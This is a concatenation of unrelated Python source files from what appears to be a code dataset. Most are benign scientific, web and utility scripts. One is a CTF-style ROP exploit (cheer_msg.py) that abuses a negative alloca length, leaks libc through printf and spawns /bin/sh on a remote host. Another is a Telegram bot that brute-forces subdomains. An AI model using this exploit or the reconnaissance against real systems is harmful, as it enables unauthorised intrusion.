'wavs/389/utterance_94079.wav'\n\n manually_found['A1E1FGA9HQUGQ7'] = 'wavs/204/utterance_318628.wav'\n manually_found['A1AF8W1Q93TODD'] = 'wavs/63/utterance_78398.wav'\n\n # Make sure that no mistakes are made\n len_after_assignment = len(manually_found.keys())\n assert len_before_assignment == len_after_assignment\n\n # Copy files to folder. This time without try-except block because files are guaranteed to be found\n for key, value in manually_found.items():\n # Don't copy speaker that cannot be found\n if key != 'A1FZB94LK9HWBM':\n copy_single_file(value)\n files_found[key] = value.split('/')[-1]\n\n # Create final json file which indicates which wav I used for determining gender per speaker\n with open('../data/wav.txt', 'w') as file:\n # Reverse with json.loads()\n file.write(json.dumps(files_found))\n\ndef copy_single_file(value):\n \"\"\"\n Function for copying a single file\n :param value:\n :return:\n \"\"\"\n copy2(FILE_PATH_PLACES_ROOT + value, TARGET_FOLDER + value.split('/')[-1])\n\n\ndef play_audio(file_name):\n \"\"\"\n Play all wav tracks and determine whether it is a male or female that is talking\n :return:\n \"\"\"\n with open('../data/wav.txt') as file:\n speakers = json.loads(file.read())\n\n result = {}\n file_folder = '/Applications/MAMP/htdocs/places_validation/'\n for speaker, wav_file in speakers.items():\n if speaker != 'A1FZB94LK9HWBM':\n print(\"ID of is speaker: {}\".format(speaker))\n subprocess.check_call([\"afplay\", file_folder + wav_file])\n while True:\n gender = input(\"Please enter gender (0 = male, 1 = female): \")\n if gender not in ['0', '1']:\n print('Please specify 0 or 1')\n else:\n result[speaker] = gender\n break\n\n print(result)\n\n with open(file_name, 'w') as file:\n # Reverse with json.loads()\n file.write(json.dumps(result))\n\n\ndef check_frequency_missing_speaker():\n \"\"\"\n There is a single speaker which is missing. This function checks how many times this speaker occurs in val_spk.\n :return:\n \"\"\"\n speaker = 'A1FZB94LK9HWBM'\n count = 0\n for val_speaker in val_spk:\n if val_speaker.split('_')[1] == speaker:\n count += 1\n\n return count\n\n\ndef create_val_gender(file_name):\n with open(file_name) as file:\n speaker_genders = json.loads(file.read())\n\n # Fill val_gender by checking the dictionary which contains the gender as value\n val_gender = np.zeros(val_spk.shape)\n count = 0\n for _ in val_gender:\n speaker = val_spk[count]\n if speaker.split('_')[1] != 'A1FZB94LK9HWBM':\n val_gender[count] = speaker_genders[speaker.split('_')[1]]\n count += 1\n\n np.save('../data/places_val_gender.npy', val_gender)\n\ndef compare_rounds(file_first_round, file_second_round):\n \"\"\"\n A function to compare the results between the different rounds of classifying gender.\n :param file_first_round:\n :param file_second_round:\n :return:\n \"\"\"\n with open(file_first_round) as file:\n gender_first_round = json.loads(file.read())\n\n with open(file_second_round) as file:\n gender_second_round = json.loads(file.read())\n\n # Both dictionaries should be of equal length\n assert len(gender_first_round.keys()) == len(gender_second_round.keys())\n\n # Check whether there is any mismatch\n for key, value in gender_second_round.items():\n if gender_first_round[key] != value:\n print('{} is not the same'.format(key))\n\n\ndef distribution_male_female(file_name):\n \"\"\"\n Contrary to explores_places.py this function counts the amount of male and female speakers (not the number of\n entries)\n :param file_name file with gender per speaker:\n :return:\n \"\"\"\n with open(file_name) as file:\n gender_speaker = json.loads(file.read())\n\n male = 0\n female = 0\n for key, value in gender_speaker.items():\n if value == \"0\":\n male += 1\n else:\n female += 1\n\n return male, female\n\n\n# print(distribution_male_female('../data/speaker_gender_second_count.txt'))","sub_path":"places/label_gender_places.py","file_name":"label_gender_places.py","file_ext":"py","file_size_in_byte":9675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"43991960","text":"from capturer.tsa_packet import TSAPacket\n\nclass TSAStream:\n \"\"\"\n Representation of a stream of TSAPackets.\n\n Contains helper methods for efficient querying and filtering\n of the packets.\n \"\"\"\n\n def __init__(self, tsa_packets):\n self._packets = list(tsa_packets)\n\n def __len__(self):\n return len(self._packets)\n\n def __repr__(self):\n index_list = []\n str_list = []\n\n # Only include the first two and last two packets\n # in the string if the stream has > 4 packets\n length = len(self._packets)\n if length > 4:\n index_list = [0, 1, -1, length-2, length-1]\n else:\n index_list = list(range(length))\n\n for index in index_list:\n if index == -1:\n str_list.append(\"\\n\\t...\\n\\t\")\n else:\n packet = self._packets[index]\n packet_split = (str(packet)).split(\"\\n\")\n new_header = \"\\tTSA Packet #%d: {\\n\\t\" % index\n str_list.append(new_header + \"\\n\\t\".join(packet_split[1:]))\n\n return \"TSA Stream: {\\n%s\\n}\" % \"\\n\".join(str_list)\n\n ### METHODS TO ALLOW LIST INDEXING SYNTAX ###\n\n def __getitem__(self, index):\n return self._packets[index]\n\n def __iter__(self):\n return iter(self._packets)\n\n ### STREAM METHODS ###\n\n def get_packets(self, sort_key=None, include_missing=False):\n \"\"\"\n Returns a list of TSAPackets in the stream.\n\n If sort_key is provided, the packets are sorted by their\n values for that key. Raises KeyError if the provided key\n is not a valid TSAPacket field.\n\n If include_missing is True, packets that are missing the\n field specified by sort_key are included in the returned\n list, at the end. Otherwise, they are omitted.\n \"\"\"\n if sort_key:\n if sort_key not in TSAPacket.FIELDS:\n raise KeyError(\"Sort key '\" + sort_key +\n \"' is not a valid TSAPacket field\")\n sorted_packets = sorted(self._packets,\n key=lambda x: (x[sort_key] is None, x[sort_key]))\n if not include_missing:\n sorted_packets = filter(lambda x: x[sort_key] is not None,\n sorted_packets)\n return list(sorted_packets)\n else:\n return self._packets\n\n def get_values_for_key(self, key):\n \"\"\"\n Returns a list of values for the provided key - one for\n each packet in the stream.\n\n Raises KeyError if the provided key is not a valid\n TSAPacket field.\n \"\"\"\n if key not in TSAPacket.FIELDS:\n raise KeyError(\"Key '\" + key + \"' is not a valid TSAPacket field\")\n return list(map(lambda x: x[key], self._packets))\n\n def filter(self, filter_dict):\n \"\"\"\n Returns a TSAStream containing only packets whose values\n match those in the provided dict, for all keys in the dict.\n\n Raises KeyError if any of the keys in the dict is not\n a valid TSAPacket field.\n \"\"\"\n filtered_list = self._packets\n for key, value in filter_dict.items():\n if key not in TSAPacket.FIELDS:\n raise KeyError(\"Key '\" + key + \"' is not a valid \" +\n \" TSAPacket field\")\n filtered_list = filter(lambda x: x[key] == value, filtered_list)\n return TSAStream(filtered_list)\n","sub_path":"capturer/tsa_stream.py","file_name":"tsa_stream.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"209215569","text":"# -*- coding: utf-8 -*-\n\nimport unittest\n\nimport numpy as np\n\nfrom glassure.gui.controller.glassure import GlassureController\nfrom glassure.tests.gui_tests.utility import click_checkbox, set_widget_text, QtTest, prepare_file_loading\n\n\nclass ExtrapolationWidgetTest(QtTest):\n def setUp(self):\n self.controller = GlassureController()\n prepare_file_loading('Mg2SiO4_ambient.xy')\n self.controller.load_data()\n prepare_file_loading('Mg2SiO4_ambient_bkg.xy')\n self.controller.load_bkg()\n self.data = self.controller.model\n self.widget = self.controller.main_widget\n self.extrapolation_widget = self.widget.left_control_widget.extrapolation_widget\n self.widget.left_control_widget.composition_widget.add_element('Mg', 2)\n self.widget.left_control_widget.composition_widget.add_element('Si', 1)\n self.widget.left_control_widget.composition_widget.add_element('O', 4)\n\n def test_activating_extrapolation(self):\n if self.extrapolation_widget.activate_cb.isChecked():\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n # without extrapolation S(Q) should have no values below\n q, sq = self.data.sq_pattern.data\n self.assertGreater(q[0], 1)\n\n # when turning extrapolation on, it should automatically interpolate sq of to zero and recalculate everything\n # by default a Step function should be used\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n self.assertTrue(self.extrapolation_widget.activate_cb.isChecked())\n\n q, sq = self.data.sq_pattern.limit(0, 1).data\n self.assertLess(q[0], 0.1)\n self.assertEqual(np.sum(sq), 0)\n\n def test_different_extrapolation_methods(self):\n if not self.extrapolation_widget.activate_cb.isChecked():\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n # next we activate the linear Extrapolation method to see how this changes the g(r)\n # using a linear extrapolation to zero the sum between 0 and 0.5 should be always different from 0:\n click_checkbox(self.extrapolation_widget.linear_extrapolation_rb)\n q, sq = self.data.sq_pattern.limit(0, 1).data\n\n self.assertNotAlmostEqual(np.sum(sq[np.where(q < 0.4)]), 0)\n\n # now switching on spline extrapolation and see how this effects the pattern\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n click_checkbox(self.extrapolation_widget.spline_extrapolation_rb)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n\n # and last but not least the polynomial extrapolation version:\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n click_checkbox(self.extrapolation_widget.poly_extrapolation_rb)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n\n\n def test_polynomial_parameters(self):\n if not self.extrapolation_widget.activate_cb.isChecked():\n click_checkbox(self.extrapolation_widget.activate_cb)\n\n click_checkbox(self.extrapolation_widget.poly_extrapolation_rb)\n\n # lets change the q_Max parameter and see that it does affect the pattern\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n set_widget_text(self.extrapolation_widget.q_max_txt, 1.5)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n\n # there seems to be a strange connection between the two parts, lets use the replace option and see the change\n prev_q, prev_sq = self.data.sq_pattern.limit(0, 2).data\n click_checkbox(self.extrapolation_widget.replace_cb)\n after_q, after_sq = self.data.sq_pattern.limit(0, 2).data\n\n self.assertFalse(np.array_equal(prev_sq, after_sq))\n","sub_path":"glassure/tests/gui_tests/test_extrapolation.py","file_name":"test_extrapolation.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"305731315","text":"#!/usr/bin/python\r\n#coding:utf-8\r\n#alloca函数用于分配栈空间,参数为负数时栈空间收缩\r\n\r\nfrom pwn import *\r\n\r\ncontext.update(arch = 'i386', os = 'linux', timeout = 1)\r\nio = remote('172.17.0.2', 10001)\r\n\r\nprintf_plt = 0x08048436\r\nfgets = 0x804a014\r\nmain = 0x80485ca\r\n\r\ne = ELF(\"./libc.so.6_x86\")\t\t#加载程序使用的libc库\r\n\r\npayload = \"\"\r\npayload += 'A'*48\t\t\t\t#padding\r\npayload += p32(printf_plt)\t\t#调用printf打印fgets在内存中的地址\r\npayload += p32(main)\t\t\t#printf函数执行完后返回到main\r\npayload += p32(fgets)\t\t\t#fgets函数地址,提供给printf函数\r\n\r\nio.recvuntil(\"Message Length >> \")\t\r\nio.sendline(\"-95\")\t\t\t\t#alloca函数用于分配栈空间,参数为负数时栈空间收缩,从而在main函数造成栈溢出\r\nio.recvuntil(\"Name >> \")\r\nio.sendline(payload)\r\nio.recvuntil(\"Message : \")\r\nio.recvline()\r\n\r\nfgets_leak = u32(io.recvn(4))\t#获取到fgets函数的内存地址\r\nlog.info(\"fgets_got: {}\".format(hex(fgets_leak)))\t\r\nlibc_start = fgets_leak - e.symbols[\"fgets\"]\t#获取libc库在内存中的首地址\r\nlog.info(\"libc: {}\".format(hex(libc_start)))\r\nsystem = libc_start + e.symbols[\"system\"]\t\t#获取system函数的地址\r\nbinsh = libc_start + next(e.search(\"/bin/sh\"))\t#获取/bin/sh字符串地址\r\n\r\npayload = \"\"\r\npayload += 'A'*48\t\t\t\t#padding\r\npayload += p32(system)\t\t\t#调用system函数执行system(\"/bin/sh\")\r\npayload += p32(0)\t\t\t\t#system函数返回的地址,随便填\r\npayload += p32(binsh)\t\t\t#\"/bin/sh\"字符串,system的参数\r\n\r\nio.recvuntil(\"Message Length >> \")\r\nio.sendline(\"-95\")\t\t\t\t#alloca函数用于分配栈空间,参数为负数时栈空间收缩,从而在main函数造成栈溢出\r\nio.recvuntil(\"Name >> \")\r\nio.sendline(payload)\r\n\r\nio.interactive()","sub_path":"example/ROP/cheer_msg.py","file_name":"cheer_msg.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"456984974","text":"import numpy as np\nimport mne\n\ndef trigger_downsample(x, r, phase):\n for i in range(phase + r, len(x), r):\n if i == phase + r:\n y = np.sum(x[(i-r):i])\n else:\n y = np.append(y, np.sum(x[(i-r):i]))\n return y\n\ndef CSP(Vt,Vnt):\n Ra = np.zeros((Vt.shape[0],Vt.shape[0],Vt.shape[2]))\n Rb = np.zeros((Vnt.shape[0],Vnt.shape[0],Vnt.shape[2]))\n \n for i in range(Vt.shape[2]):\n Ra[:,:,i] = np.dot(Vt[:,:,i],Vt[:,:,i].transpose())/np.trace(np.dot(Vt[:,:,i],Vt[:,:,i].transpose()))\n Rb[:,:,i] = np.dot(Vnt[:,:,i],Vnt[:,:,i].transpose())/np.trace(np.dot(Vnt[:,:,i],Vnt[:,:,i].transpose()))\n \n Ra = np.mean(Ra,axis=2)\n Rb = np.mean(Rb,axis=2)\n \n Rc = Ra + Rb\n \n Lambda,Bc = np.linalg.eig(Rc)\n Lambda = np.diag(Lambda)\n \n W = np.dot(np.sqrt(np.linalg.inv(Lambda)),Bc.transpose())\n \n Sa = np.dot(W,Ra)\n Sa = np.dot(Ra,np.linalg.inv(W))\n \n U,S,V = np.linalg.svd(Sa)\n \n H = np.dot(V.transpose(),W)\n \n return H\n\ndef Vectorizer(Data):\n temp = [0]*Data.shape[2]\n if Data.shape[2] == 0:\n return np.zeros(Data.shape[0]*Data.shape[1])\n for i in range(Data.shape[2]):\n temp[i] = np.array([]);\n for j in range(Data.shape[0]):\n temp[i] = np.append(temp[i],Data[j,:,i])\n #print(len(temp))\n vec = temp[0]\n for i in range(1,Data.shape[2]):\n vec = np.vstack((vec,temp[i]));\n return vec\n\ndef Epoch(Data,Trigger,Range,SelectedTrigger,Fs):\n Count = 0\n NumChannel = Data.shape[0]\n nTrigger = np.sum(Trigger == SelectedTrigger)\n EpochData = np.zeros((NumChannel, ((Range[1]-Range[0])*Fs).astype(np.int32), nTrigger))\n #BaseLineSingleTriggerEpochData = np.zeros((NumChannel, 1, nTrigger))\n for j in range(Trigger.shape[0]):\n if Trigger[j] == SelectedTrigger:\n EpochData[:, :, Count] = Data[:, j+(np.floor(Range[0]*Fs)).astype(np.int32):j+(np.floor(Range[1]*Fs)).astype(np.int32)]\n #BaseLineSingleTriggerEpochData[:, :, Count] = np.reshape((Data[:, j+(np.floor(BaseLineRange[0]*Fs)).astype(np.int32):j+(np.floor(BaseLineRange[1]*Fs)).astype(np.int32)]).mean(axis=1), (NumChannel, 1))\n Count += 1\n #EpochData = SingleTriggerEpochData\n #BaseLineData[i] = BaseLineSingleTriggerEpochData \n return EpochData\n \ndef BaseLine(Data,Trigger,Range,SelectedTrigger,Fs):\n Count = 0\n NumChannel = Data.shape[0]\n nTrigger = np.sum(Trigger == SelectedTrigger)\n #SingleTriggerEpochData = np.zeros((NumChannel, ((Range[1]-Range[0])*Fs).astype(np.int32), nTrigger))\n BaseLineSingleTriggerEpochData = np.zeros((NumChannel, 1, nTrigger))\n for j in range(Trigger.shape[0]):\n if Trigger[j] == SelectedTrigger:\n #SingleTriggerEpochData[:, :, Count] = Data[:, j+(np.floor(Range[0]*Fs)).astype(np.int32):j+(np.floor(Range[1]*Fs)).astype(np.int32)]\n BaseLineSingleTriggerEpochData[:, :, Count] = np.reshape((Data[:, j+(np.floor(Range[0]*Fs)).astype(np.int32):j+(np.floor(Range[1]*Fs)).astype(np.int32)]).mean(axis=1), (NumChannel, 1))\n Count += 1\n #EpochData = SingleTriggerEpochData\n BaseLineData = BaseLineSingleTriggerEpochData\n return BaseLineData\n \n \ndef getTrig(raw,Ns):\n events = mne.events_from_annotations(raw)[0]\n events = events[1:-1,:]\n Trigger = np.zeros(Ns)\n for i in range(events.shape[0]):\n Trigger[events[i,0]] = events[i,2]\n return Trigger","sub_path":"Python/scripts/bcipy.py","file_name":"bcipy.py","file_ext":"py","file_size_in_byte":3458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"238772121","text":"from multiprocessing import Process\n\n#执行子进程代码\ndef test(interval):\n print(\"我是子进程\")\n\n#执行主程序\ndef main():\n print(\"主进程开始\")\n p = Process(target=test,args=(1,)) #实例化Process进程类\n p.start() #启动子进程\n print(\"主进程结束\")\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"ProcessAndThread/Process/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"520079339","text":"from collections import deque, namedtuple\nimport threading\nimport time\nfrom os import getenv, chdir\nfrom telebot import TeleBot, util\nfrom telebot.apihelper import ApiException\nfrom subbrute import subbrute\n\n\napi_key = getenv('BOT_DNS')\nif not api_key: exit('Api key not found on env!')\nbot = TeleBot(api_key)\n\n\nfila = deque(maxlen=10) # type: deque\nUser = namedtuple('User',['uid','domain']) # type: namedtuple\n\n@bot.message_handler(commands=['sub', 'Sub'])\ndef order_consult_subdomain(msg):\n if msg.chat.type != 'private':\n return bot.send_message(msg.chat.id, 'Somente em privado.')\n elif len(fila) >= fila.maxlen:\n return bot.send_message(msg.chat.id,\n 'Estamos com o máximo de {} pessoas na fila, aguarde alguns instantes!'.format(fila.maxlen))\n \n target = util.extract_arguments(msg.text)\n if not target: \n bot.send_message(msg.chat.id, 'Não entendi domínio.')\n elif user_in_deque(msg.from_user.id):\n bot.send_message(msg.chat.id, 'Você já tem um pedido em espera!')\n else:\n user_order = User(uid=msg.from_user.id, domain=target)\n fila.append(user_order)\n bot.send_message(msg.chat.id, \"Sua consulta ao domínio %s foi adicionada a fila!\\nTamanho da fila: %s.\" %(target, len(fila)))\n\ndef user_in_deque(uid):\n for u in fila:\n if u.uid == uid:\n return True\n \ndef consult_subdomains_in_deque():\n subnames = set()\n while True:\n if not fila:\n time.sleep(5)\n else:\n user_order = fila.pop()\n domain, uid = user_order.domain, user_order.uid\n try:\n bot.send_message(uid, 'Começando a procurar os subdomínios de %s aguarde os envios. Tempo médio: 30 min.' %domain)\n for sub in subbrute.run(domain, query_type=\"ANY\", subdomains='subbrute/names_small.txt'):\n \n if sub[0] not in subnames:\n subnames.add(sub[0])\n bot.send_message(uid, sub[0])\n bot.send_message(uid, 'Consulta finalizada!')\n except ApiException as error:\n print(\"erro ao enviar mensagem -- \", error)\n\ndef start_bot():\n bot.polling(none_stop=False, timeout=60)\n \nthreading.Thread(target=start_bot, name='startbot').start()\nprint('Executando bot...')\nconsult_subdomains_in_deque()\n\n\n\n","sub_path":"subdnsenum.py","file_name":"subdnsenum.py","file_ext":"py","file_size_in_byte":2390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"556454273","text":"from django.urls import path\nfrom django.contrib.auth.views import LoginView, LogoutView\nfrom . import views\n\napp_name = \"accounts\"\n\nurlpatterns = [\n path('login/', LoginView.as_view(template_name = 'accounts/login.html'), name='login'),\n path('logout/', views.logout, name='logout'),\n path('join/', views.join, name='join'),\n path('mypage/', views.mypage, name='mypage'),\n path('report/', views.report, name='report'),\n path('reward/', views.reward, name='reward'),\n]\n\n\n","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"633328956","text":"#!/usr/bin/python\n\ndictionnaire = {\"un\": 1, \"deux\": 2} \n\ntry:\n\tprint(dictionnaire[\"deux\"])\n\ttest = 2 / 0 \nexcept\tKeyError:\n\tdictionnaire[\"trois\"] = 3\n\tprint(dictionnaire[\"trois\"])\nexcept:\n\tprint(\"Autre erreur !\")\n\traise\nelse:\t\n\tprint(\"AUcune erreur.\")\nfinally:\n\tprint(\"C'est fini\")\n\n","sub_path":"PYTHON/propagation-error1.py","file_name":"propagation-error1.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"635853097","text":"#!/usr/bin/python\n\nimport exp_utils\n\ntrainer = '/Users/lnyang/lab/qd/qd/train_model.py'\n\nbase_dir = '/Users/lnyang/lab/qd/data/experiments/L'\ntrain_dir = '%s/train' % base_dir\nmodel_dir = '%s/models' % base_dir\nvalidate_dir = '%s/validate' % base_dir\n\n#percs = [0.4, 0.6, 0.8, 1.0]\n#Cs = [0.1, 1.0, 10.0]\n\npercs = [1.0]\nCs = [0.01, 0.03, 0.3, 3.0, 30.0, 100.0]\n\ndata_file = '%s/data' % train_dir\nlabel_file = '%s/label' % train_dir\n\nvdata_file = '%s/data' % validate_dir\nvlabel_file = '%s/label' % validate_dir\n\ninfo_file = '%s/LogisticRegression_info' % base_dir\ninfo_fp = open(info_file, 'w')\nprint >> info_fp, '\\t'.join(\n ['perc', 'C', 'train_precision', 'validate_precision', 'train_recall', 'validate_recall'])\n\nfor perc in percs:\n for C in Cs:\n # Train model.\n model_def = ('LogisticRegression(C=%f)' % C)\n model_file = '%s/LogisticRegression-%f-%f' % (model_dir, perc, C)\n exp_utils.trainModel(trainer, data_file, label_file, model_def, perc,\n model_file)\n\n # Compute training error.\n train_tp, train_tn, train_fp, train_fn = exp_utils.computeClsError(\n model_file, data_file, label_file)\n train_precision = float(train_tp) / (train_tp + train_fp)\n train_recall = float(train_tp) / (train_tp + train_fn)\n\n # Compute validation error.\n validate_tp, validate_tn, validate_fp, validate_fn = exp_utils.computeClsError(\n model_file, vdata_file, vlabel_file)\n validate_precision = float(validate_tp) / (validate_tp + validate_fp)\n validate_recall = float(validate_tp) / (validate_tp + validate_fn)\n\n print >> info_fp, '\\t'.join(\n ['%f' % perc, '%f' % C, '%f' % train_precision,\n '%f' % validate_precision, '%f' % train_recall,\n '%f' % validate_recall])\n info_fp.flush()\n\ninfo_fp.close()\n\n","sub_path":"scripts/experiments/L-LogisticRegression.py","file_name":"L-LogisticRegression.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"497149604","text":"#! /usr/bin/env python\n#\n# (c) UWA, The University of Western Australia\n# M468/35 Stirling Hwy\n# Perth WA 6009\n# Australia\n#\n# Copyright by UWA, 2012-2015\n# All rights reserved\n#\n# This library is free software; you can redistribute it and/or\n# modify it under the terms of the GNU Lesser General Public\n# License as published by the Free Software Foundation; either\n# version 2.1 of the License, or (at your option) any later version.\n#\n# This library is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this library; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n# MA 02111-1307 USA\n#\n\"\"\"\nConvert a GAMA fits file to the MAGPHYS format\n\"\"\"\nimport argparse\nimport logging\nimport os\nimport fitsio\n\nLOG = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.INFO, format='%(asctime)-15s:' + logging.BASIC_FORMAT)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('fits_file_name', nargs=1, help='the FITS file to use')\n parser.add_argument('dat_file_name', nargs=1, help='the dat file to write')\n args = vars(parser.parse_args())\n\n dat_file_name = args['dat_file_name'][0]\n fits_file_name = args['fits_file_name'][0]\n\n if not os.path.exists(fits_file_name):\n LOG.error('The file {0} does not exist'.format(fits_file_name))\n return\n\n LOG.info('Reading {0}'.format(fits_file_name))\n with open(dat_file_name, 'w', 1) as dat_file:\n with fitsio.FITS(fits_file_name, iter_row_buffer=1000) as fits:\n # The table is in the first extension\n data = fits[1].read()\n length_row = len(data[0]) - 1\n line_count = 0\n for row in data:\n line_count += 1\n if line_count % 1000 == 0:\n LOG.info('Read {0} lines from the FITS file'.format(line_count))\n\n # Ignore the last columns as it is the reference to the galaxy\n for x in range(0, length_row):\n # Convert to a string from the Numpy type\n dat_file.write(str(row[x]))\n dat_file.write(' ')\n\n dat_file.write('\\n')\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"src/convert_fits2magphys_fitsio.py","file_name":"convert_fits2magphys_fitsio.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"234192654","text":"#Вводится одно целое четырехзначное число. Выведите максимальную цифру числа.\n\n\nnumber = int(input(\"Введите целое четырехзначное число \"))\n\nfirst_digit = number // 1000\nsecond_digit = number % 1000 // 100\nthrid_digit = number % 100 // 10\nfourth_digit = number % 10\n\nmax_digit = max(first_digit,second_digit,thrid_digit,fourth_digit)\n\nprint('У числа {0} максимальная цифра равна {1}'.format(number,max_digit))","sub_path":"lesson4/task6.py","file_name":"task6.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"314327685","text":"import xlrd\nfrom datetime import datetime\nfrom datetime import timedelta\nimport pymongo\nimport random\n\nfile = \"veri.xlsx\"\n\nworkbook = xlrd.open_workbook(file)\nworksheet = workbook.sheet_by_index(0)\n\n# başlıkları çekiyorum\nfirst_row = []\nfor col in range(worksheet.ncols):\n first_row.append(worksheet.cell_value(0, col))\n\n# excel datalarını topluyorum\ndata = []\nfor row in range(1, worksheet.nrows):\n elm = {}\n for col in range(worksheet.ncols):\n elm[first_row[col]] = worksheet.cell_value(row, col)\n data.append(elm)\n\n# tüm dataların toplanması için boş bir dizi oluşturuyorum.\ninsertData = []\n\nfirstDate = datetime(2011, 1, 1, 0)\nlastDate = datetime(2012, 12, 31, 23)\n\ndatesDate = []\n# iki tarih aralığındaki tüm saatleri eksiksiz bir şekilde mongo ya basıyorum\nwhile firstDate <= lastDate:\n # print(firstDate)\n firstDate = firstDate + timedelta(hours=1)\n newData = {\n \"Date\": firstDate,\n \"Windspeed\": \"\",\n \"Direction\": \"\"\n }\n datesDate.append(newData)\n\nmongoClient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\ndb = mongoClient[\"Homework\"]\nwindData = db[\"WindData2\"]\n# tüm tarihlerin mognoya basıldığı kısım\nwindData.insert(datesDate)\n\n# rüzgar hızı olan datalar mongoya update ediliyor.\nfor item in data:\n if item[\"Gün\"]:\n day = int(item[\"Gün\"])\n\n if item[\"Ay\"]:\n month = int(item[\"Ay\"])\n\n if item[\"Yıl\"]:\n year = int(item[\"Yıl\"])\n\n if item[\"Saat (UTC)\"]:\n hour = int(item[\"Saat (UTC)\"])\n\n date1 = datetime(year, month, day, hour)\n\n dateQuery = {\n \"Date\": date1\n }\n\n if item[\"Hiz\"]:\n windsplit = item[\"Hiz\"].replace(\" \", \" \").split(\" \")\n windSpeed = windsplit[0]\n windDirection = windsplit[1]\n # print(windSpeed, windDirection)\n else:\n windSpeed = \"\"\n windDirection = \"\"\n\n newData = {\n \"Date\": date1,\n \"Windspeed\": windSpeed,\n \"Direction\": windDirection\n }\n\n windData.update_one({\n 'Date': date1\n }, {\n '$set': {\n 'Windspeed':windSpeed,\n \"Direction\": windDirection\n }\n }, upsert=False)\n print(date1,\"rüzgar bilgisi update ediliyor\")\n #insertData.append(newData)\n #print(newData)\n\nwindList = windData.find({})\n\nfor item in windList:\n if(not item['Windspeed']):\n lastDate = item['Date']\n last10data = windData.find({\n \"Windspeed\": {\"$ne\": ''},\n \"Date\": {\n \"$lt\": lastDate\n }\n }).limit(10).sort(\"Date\", pymongo.DESCENDING)\n\n last10speed = []\n last10direction = []\n for wind in last10data:\n last10speed.append(wind[\"Windspeed\"])\n last10direction.append(wind[\"Direction\"])\n\n randomSpeed = random.choice(last10speed)\n randomDirection = random.choice(last10direction)\n print(randomSpeed, randomDirection,\"tahmin edilen rüzgar bilgisi\")\n\n windData.update_one({\n 'Date': lastDate\n }, {\n '$set': {\n 'Windspeed': randomSpeed,\n \"Direction\": randomDirection\n }\n }, upsert=False)\n\n\n#mongoClient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n#db = mongoClient[\"Homework\"]\n#windData = db[\"WindData\"]\n\n# mongo ya insert ediyorum.\n#windData.insert(insertData)\n","sub_path":"WindInserter.1.py","file_name":"WindInserter.1.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
